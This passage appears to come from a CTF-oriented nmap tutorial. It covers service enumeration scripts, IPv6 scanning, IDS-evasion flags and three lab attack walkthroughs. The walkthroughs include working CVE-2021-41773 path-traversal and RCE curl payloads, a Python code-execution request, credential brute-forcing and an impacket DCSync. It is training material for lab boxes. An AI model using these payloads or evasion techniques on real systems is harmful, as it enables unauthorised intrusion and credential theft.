Checks whether FTP allows anonymous login. Anonymous FTP is a classic easy win in CTFs, often containing configuration files, credentials, or backups.

nmap -p 21 --script=ftp-anon 10.10.10.100

# Positive output:
# | ftp-anon: Anonymous FTP login allowed (FTP code 230)
# |   drwxr-xr-x   2 ftp ftp  4096 Jan 01 00:00 pub
# |   -rw-r--r--   1 ftp ftp  1024 Jan 01 00:00 credentials.txt
# |_  -rw-r--r--   1 ftp ftp  5120 Jan 01 00:00 backup.tar.gz
# ↑ Connect with: ftp 10.10.10.100 (user: anonymous, password: blank)

smtp-commands β€” SMTP Verb Enumeration

Lists SMTP commands supported by the mail server. Useful for identifying user enumeration vectors (VRFY, EXPN) and relay opportunities.

nmap -p 25 --script=smtp-commands 10.10.10.100

# Example output:
# | smtp-commands: mail.target.htb, PIPELINING, SIZE 10240000, VRFY, ETRN,
# |   STARTTLS, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
# ↑ VRFY is enabled β€” you can enumerate valid usernames:
# VRFY admin β†’ 252 2.0.0 admin
# VRFY fakeuser β†’ 550 5.1.1 <fakeuser>: Recipient address rejected

# Also check for open relay:
nmap -p 25 --script=smtp-open-relay 10.10.10.100

mysql-info β€” MySQL Server Fingerprinting

Extracts version info, protocol, capabilities, and salt from MySQL servers. Combined with mysql-empty-password, it's a quick check for low-hanging fruit.

# Get MySQL info
nmap -p 3306 --script=mysql-info 10.10.10.100

# Check for empty root password
nmap -p 3306 --script=mysql-empty-password 10.10.10.100

# Enumerate databases (with credentials)
nmap -p 3306 --script=mysql-databases --script-args mysqluser=root,mysqlpass='' 10.10.10.100

# Brute force
nmap -p 3306 --script=mysql-brute 10.10.10.100

ssh-auth-methods β€” SSH Authentication Methods

Identifies which authentication methods an SSH server accepts. Important for knowing whether to try passwords, keys, or other methods.

nmap -p 22 --script=ssh-auth-methods 10.10.10.100

# Output:
# | ssh-auth-methods:
# |   Supported authentication methods:
# |     publickey
# |     password
# ↑ Password auth is enabled β€” brute force is possible

# If only "publickey" is shown, you need to find a private key somewhere

snmp-info β€” SNMP Information Gathering

SNMP (Simple Network Management Protocol) is used for monitoring and managing network devices. It's an absolute goldmine when exposed because it can leak system information, running processes, installed software, network interfaces, and even credentials. SNMP uses "community strings" as passwords β€” the default is often "public" (read-only) or "private" (read-write).

# Basic SNMP probe (UDP 161)
nmap -sU -p 161 --script=snmp-info 10.10.10.100

# Brute-force community strings
nmap -sU -p 161 --script=snmp-brute 10.10.10.100

# Walk the full SNMP tree (with a valid community string)
nmap -sU -p 161 --script=snmp-win32-users,snmp-win32-services,snmp-processes,snmp-interfaces \
  --script-args snmpcommunity=public 10.10.10.100

# snmp-win32-users can reveal every user account on the system
# snmp-processes shows running processes (might reveal hidden services)

nfs-ls β€” NFS Share Enumeration

Lists files available on NFS (Network File System β€” a protocol that lets you mount remote directories as if they were local) shares. NFS misconfigurations (like no_root_squash, which lets root on your machine act as root on the remote share) are a classic Linux privilege escalation vector.

# List NFS exports
nmap -p 111 --script=nfs-ls,nfs-showmount,nfs-statfs 10.10.10.100

# Example output:
# | nfs-showmount:
# |   /srv/share *
# |_  /home/user 10.10.10.0/24
# | nfs-ls: Volume /srv/share
# |   access   uid   gid   size   filename
# |   rwxr-xr-x 0     0     4096   .
# |   rw-r--r-- 0     0     1234   config.bak
# ↑ Mount it: mount -t nfs 10.10.10.100:/srv/share /mnt

🌐 IPv6 Scanning

IPv6 is increasingly common in modern networks, and many CTF authors use it to hide services that aren't reachable via IPv4. Nmap fully supports IPv6 scanning, but the syntax and approach differ slightly.

Basic IPv6 Scanning

# Scan an IPv6 address (use -6 flag)
nmap -6 fe80::1%eth0
nmap -6 2001:db8::1

# Full port scan on IPv6
nmap -6 -p- --min-rate 5000 fe80::a00:27ff:fe4e:1234%eth0

# Service/version detection on IPv6
nmap -6 -sC -sV 2001:db8::dead:beef

# The -6 flag works with ALL other nmap options:
nmap -6 -sU --top-ports 20 fe80::1%eth0
nmap -6 --script=vuln 2001:db8::1

Link-Local Addresses

Link-local IPv6 addresses (starting with fe80::) require an interface specifier because they're only valid on a specific network segment:

# You MUST specify the interface with %interface
nmap -6 fe80::1%eth0
nmap -6 fe80::a00:27ff:fe4e:1234%tun0

# Discover link-local neighbors
ping6 -c 3 ff02::1%eth0    # All-nodes multicast
# Then scan discovered addresses

# Alternatively, use nmap's IPv6 neighbor discovery:
nmap -6 --script=targets-ipv6-multicast-echo --script-args interface=eth0

IPv6 Host Discovery

IPv6 subnets are astronomically large (/64 = 2^64 addresses), so traditional sweeping doesn't work. Instead, use multicast-based discovery or wordlist-based scanning:

# Multicast-based IPv6 host discovery (local network)
nmap -6 --script=targets-ipv6-multicast-echo,targets-ipv6-multicast-slaac \
  --script-args newtargets,interface=eth0

# If you know the IPv4 address, derive the IPv6 address:
# Many systems use EUI-64 to auto-generate the IPv6 address from the MAC address
# MAC: 08:00:27:4e:12:34 β†’ IPv6 suffix: ::0a00:27ff:fe4e:1234

# Scan common IPv6 patterns
nmap -6 2001:db8::1-254    # Low addresses often used manually
nmap -6 fe80::1-ff%eth0    # Low link-local addresses

CTF Scenarios with IPv6

Watch for these IPv6 clues in CTFs:

  • Services only on IPv6: A web server on port 80 returns nothing on IPv4 but has a hidden page on IPv6. Check /etc/hosts or DNS AAAA records.
  • IPv6-only firewall bypass: IPv4 firewall blocks a port, but the IPv6 firewall is wide open. Always scan both protocols.
  • DNS AAAA records: Run dig AAAA target.htb to check for IPv6 addresses. If the box has one, scan it.
  • Neighbor discovery: On a compromised host, check ip -6 neighbor to find other IPv6 hosts on the segment.
# Check for AAAA records
dig AAAA target.htb @10.10.10.100

# On a compromised Linux host, check IPv6 neighbors
ip -6 neighbor show
ip -6 addr show    # What IPv6 addresses does this host have?

# Scan discovered IPv6 address
nmap -6 -sC -sV dead:beef::0250:56ff:feb9:1234

πŸ›‘οΈ Firewall and IDS Evasion

In real-world engagements (and some harder CTFs), firewalls and IDS (intrusion detection systems, software that monitors network traffic for suspicious activity) will block or alert on your scans. Nmap has numerous evasion techniques built in.

Packet Fragmentation (-f)

Splits IP packets into tiny fragments, making it harder for firewalls and IDS to reassemble and inspect them:

# Fragment packets (8-byte fragments)
nmap -f 10.10.10.100

# Double fragmentation (16-byte fragments)
nmap -f -f 10.10.10.100

# Set custom fragment size (must be a multiple of 8)
nmap --mtu 24 10.10.10.100

# Why this works: Simple packet filters inspect individual packets.
# If the TCP header is split across fragments, the filter can't read
# the destination port and may let it through.
# Modern firewalls reassemble fragments β€” this only works on older/simple firewalls.

Decoy Scanning (-D)

Makes the scan appear to come from multiple IP addresses, hiding your real IP in a crowd of decoys:

# Use random decoys
nmap -D RND:10 10.10.10.100
# Generates 10 random decoy IPs β€” your scan is mixed in

# Use specific decoy IPs
nmap -D 10.10.10.1,10.10.10.2,10.10.10.3,ME 10.10.10.100
# ME = your real IP. Place it anywhere in the list.

# The target sees scans from all these IPs simultaneously.
# They can't tell which one is real (unless they correlate with
# network flow data showing only YOUR traffic is bidirectional).

# Important: Decoy IPs should be alive on the network, otherwise
# the SYN-ACKs to dead hosts generate RSTs and give away the decoys.

Source Port Manipulation (--source-port)

Some firewalls allow traffic from "trusted" source ports (like DNS port 53 or HTTP port 80). You can spoof your source port:

# Scan using source port 53 (DNS)
nmap --source-port 53 10.10.10.100

# Source port 88 (Kerberos β€” might bypass AD-aware firewalls)
nmap --source-port 88 10.10.10.100

# Combine with other techniques
nmap -sS --source-port 53 -f -T2 10.10.10.100

# This works because lazy firewall rules sometimes look like:
# "ALLOW from any port 53 to any" (intended for DNS responses)
# Your scan packets ride through on that rule.

Timing-Based Evasion

Slow scans avoid triggering IDS thresholds. Most IDS systems alert on "X connections in Y seconds." Spread your scan out enough and you fly under the radar:

# Paranoid timing β€” 5 minutes between probes
nmap -T0 10.10.10.100

# Sneaky timing β€” 15 seconds between probes
nmap -T1 10.10.10.100

# Custom timing for precision
nmap --scan-delay 10s --max-retries 1 10.10.10.100

# Randomize target order (avoid sequential scanning patterns)
nmap --randomize-hosts 10.10.10.0/24

# Combine timing evasion with other techniques
nmap -T1 -f -D RND:5 --source-port 53 10.10.10.100
# Slow, fragmented, with decoys, from "DNS" β€” maximum stealth

Data Length Padding (--data-length)

Normal nmap packets have recognizable sizes. Adding random data changes the packet signature:

# Append 25 random bytes to each packet
nmap --data-length 25 10.10.10.100

# This changes the packet fingerprint β€” IDS signatures that match
# on exact packet sizes will miss the modified packets.

# Combine with fragmentation for layered evasion:
nmap -f --data-length 50 --source-port 53 -T2 10.10.10.100

Other Evasion Techniques

# Spoof MAC address
nmap --spoof-mac 0 10.10.10.100         # Random MAC
nmap --spoof-mac Dell 10.10.10.100      # Vendor prefix
nmap --spoof-mac 00:11:22:33:44:55 10.10.10.100  # Specific MAC

# Send packets with a bad checksum (some firewalls drop, some pass)
nmap --badsum 10.10.10.100

# Use idle scan (bounce off a zombie host β€” truly anonymous)
nmap -sI zombie.host 10.10.10.100
# The target only sees packets from the zombie, never from you
# Requires a zombie with predictable IP ID sequence

# Append custom hex data
nmap --data 0xDEADBEEF 10.10.10.100
πŸ’‘ Pro Tip: In CTFs, evasion is rarely needed β€” boxes are designed to be scanned. In real engagements, start stealthy and escalate noise only as needed. The combination of -T2 -f --source-port 53 -D RND:5 is a solid baseline for evading basic IDS.

🏁 Nmap in CTFs β€” Real Examples

Here are three detailed scenarios showing exactly how nmap output drives the entire exploitation chain.

Scenario 1: The Full-Port Discovery β†’ Hidden API β†’ RCE

This scenario demonstrates why full port scanning is non-negotiable. The target looks boring with a default scan, but a hidden API on a high port leads to remote code execution.

# Step 1: Default scan β€” looks boring
$ nmap -sC -sV 10.10.10.200
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian
80/tcp open  http    nginx 1.19.6
|_http-title: Welcome to Our Company

# Step 2: Full port scan reveals a hidden service
$ nmap -p- --min-rate 5000 10.10.10.200
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3000/tcp  open  ppp
41337/tcp open  unknown     ← What's this?

# Step 3: Deep scan the new ports
$ nmap -p 3000,41337 -sC -sV 10.10.10.200
3000/tcp  open  http    Node.js Express framework
|_http-title: API Documentation
41337/tcp open  http    Python/3.9 aiohttp 3.7.4
|_http-title: Internal Debug Console

# Step 4: The debug console on 41337 accepts Python code β†’ RCE!
# curl http://10.10.10.200:41337/exec -d 'code=__import__("os").popen("id").read()'
# uid=1000(webdev) gid=1000(webdev)

Key takeaway: The default top-1000 scan completely missed both the Node.js API (port 3000) and the debug console (port 41337). The -p- scan found the entry point that led to initial access.

Scenario 2: Version Detection β†’ Known CVE β†’ Initial Foothold

This scenario shows how precise version numbers from -sV directly lead to finding a public exploit.

# Step 1: Service enumeration
$ nmap -sC -sV -p- --min-rate 5000 10.10.10.201
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.9p1
80/tcp   open  http     Apache httpd 2.4.49
|_http-title: Site doesn't have a title
443/tcp  open  ssl/http Apache httpd 2.4.49
| ssl-cert: Subject: commonName=internal.target.htb
3306/tcp open  mysql    MySQL 8.0.27

# Step 2: Apache 2.4.49 β†’ immediately recognizable as CVE-2021-41773!
# Path traversal + RCE when mod_cgi is enabled
$ curl 'http://10.10.10.201/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd'
# root:x:0:0:root:/root:/bin/bash
# ...

# Step 3: Verify RCE
$ curl 'http://10.10.10.201/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh' -d 'echo; id'
# uid=33(www-data) gid=33(www-data)

# Step 4: Notice the ssl-cert output β€” it leaked an internal hostname!
# Add internal.target.htb to /etc/hosts for further enumeration

# Step 5: MySQL 8.0.27 + credentials from web config β†’ database access
$ mysql -h 10.10.10.201 -u webapp -p'FoundInConfig!'

Key takeaway: The version number Apache/2.4.49 immediately identified CVE-2021-41773. The ssl-cert script revealed an internal hostname. Every piece of nmap output contains actionable intelligence.

Scenario 3: UDP Scan β†’ SNMP Leak β†’ Credential Reuse β†’ Domain Admin

This scenario demonstrates why UDP scanning matters. The TCP scan looks locked down, but SNMP on UDP 161 leaks everything needed for full compromise.

# Step 1: TCP scan β€” limited attack surface
$ nmap -sC -sV 10.10.10.202
PORT    STATE SERVICE
53/tcp  open  domain
88/tcp  open  kerberos-sec
135/tcp open  msrpc
389/tcp open  ldap
445/tcp open  microsoft-ds
# Standard DC ports β€” no easy wins here

# Step 2: UDP scan finds SNMP!
$ nmap -sU --top-ports 30 -T4 10.10.10.202
PORT    STATE SERVICE
53/udp  open  domain
123/udp open  ntp
161/udp open  snmp     ← GOLDMINE

# Step 3: Walk the SNMP tree
$ nmap -sU -p 161 --script=snmp-brute,snmp-info,snmp-win32-users,snmp-processes 10.10.10.202
# | snmp-win32-users:
# |   Administrator
# |   svc_backup
# |   j.smith
# | snmp-processes:
# |   1234  sqlservr.exe
# |   5678  backup_script.exe --password Backup2024!
# ↑ Password visible in process command line arguments!

# Step 4: Use the leaked password
$ crackmapexec smb 10.10.10.202 -u svc_backup -p 'Backup2024!'
# [+] domain.htb\svc_backup:Backup2024! (Pwn3d!)

# Step 5: svc_backup has backup operator privileges β†’ DCSync
$ impacket-secretsdump domain.htb/svc_backup:'Backup2024!'@10.10.10.202

Key takeaway: The TCP scan showed a hardened DC with no obvious vulnerabilities. The UDP scan revealed SNMP with a default community string, which leaked usernames and a cleartext password from a running process. That single password led to domain admin. Never skip UDP scanning.

πŸ”„ Tool Comparison: Nmap vs Masscan vs Rustscan

πŸ” Nmap

Speed
4/10
Accuracy
10/10
Stealth
9/10
Scripting
10/10
OS Detection
10/10
Ease of Use
8/10

Best for: Full-featured pentesting, service enumeration, vuln scanning with NSE. The gold standard for detailed reconnaissance.

⚑ Masscan

Speed
10/10
Accuracy
6/10
Stealth
1/10
Scripting
1/10
OS Detection
0/10
Ease of Use
7/10

Best for: Scanning entire networks or the internet at blistering speed. Use it to find open ports, then hand off to Nmap for deep enumeration.

πŸ¦€ Rustscan

Speed
9/10
Accuracy
9/10
Stealth
2/10
Scripting
8/10
OS Detection
9/10
Ease of Use
9/10

Best for: CTFs and HTB β€” blazing fast port discovery that auto-pipes results into Nmap for service detection. Best of both worlds.

πŸ“š Further Reading

πŸ† Section Assessment β€” Nmap Mastery
You run nmap -sC -sV 10.10.10.100 and see only ports 22 and 80. You suspect there are more services. What should you do next?
The default -sC -sV only scans the top 1,000 ports. Services often hide on non-standard ports (like Jenkins on 50000, or debug consoles on 41337). A full -p- scan with --min-rate 5000 discovers ALL open TCP ports quickly. After finding everything, you do targeted -sC -sV on the discovered ports. UDP scanning is also important but isn't the first step when you suspect hidden TCP services.
Put these nmap scanning methodology steps in the correct order:
The tiered approach starts with a fast full-port discovery (-p- --min-rate 5000) to find ALL open ports. Then you do a deep -sC -sV scan targeting only those ports. Next, run targeted NSE scripts based on what services you found (e.g., smb-vuln* for SMB, http-enum for web). UDP scanning runs in the background because it's slow. This approach minimizes time while maximizing coverage.
Which NSE script would you use to check for the EternalBlue vulnerability on a Windows target with port 445 open?
smb-vuln-ms17-010 specifically tests for the EternalBlue vulnerability (MS17-010). While --script=vuln would also catch it (it runs all vuln scripts), it's slower and noisier. smb-enum-shares enumerates share names, and smb-os-discovery fingerprints the OS β€” useful but not vulnerability detection. Always use targeted scripts when you know what you're looking for.
You see this nmap output. What is the most important finding?
443/tcp open ssl/http nginx 1.18.0
| ssl-cert: Subject: commonName=target.htb
| Subject Alternative Name: DNS:admin.target.htb, DNS:dev.target.htb
The ssl-cert script leaks additional hostnames through the Subject Alternative Name (SAN) field! admin.target.htb and dev.target.htb are virtual hosts that serve different content. You should immediately add these to /etc/hosts and enumerate each one. This is a very common CTF technique β€” the SSL certificate is one of the best sources for discovering virtual hosts.
What flag saves nmap output in all three formats (normal, grepable, and XML) simultaneously?
-oA (output All) creates three files: .nmap (normal/human-readable), .gnmap (grepable β€” great for scripting and extracting port lists), and .xml (for importing into tools like Metasploit with db_import). Always use -oA β€” it costs nothing extra and gives you maximum flexibility. The grepable output is especially useful for extracting a comma-separated port list for follow-up scans.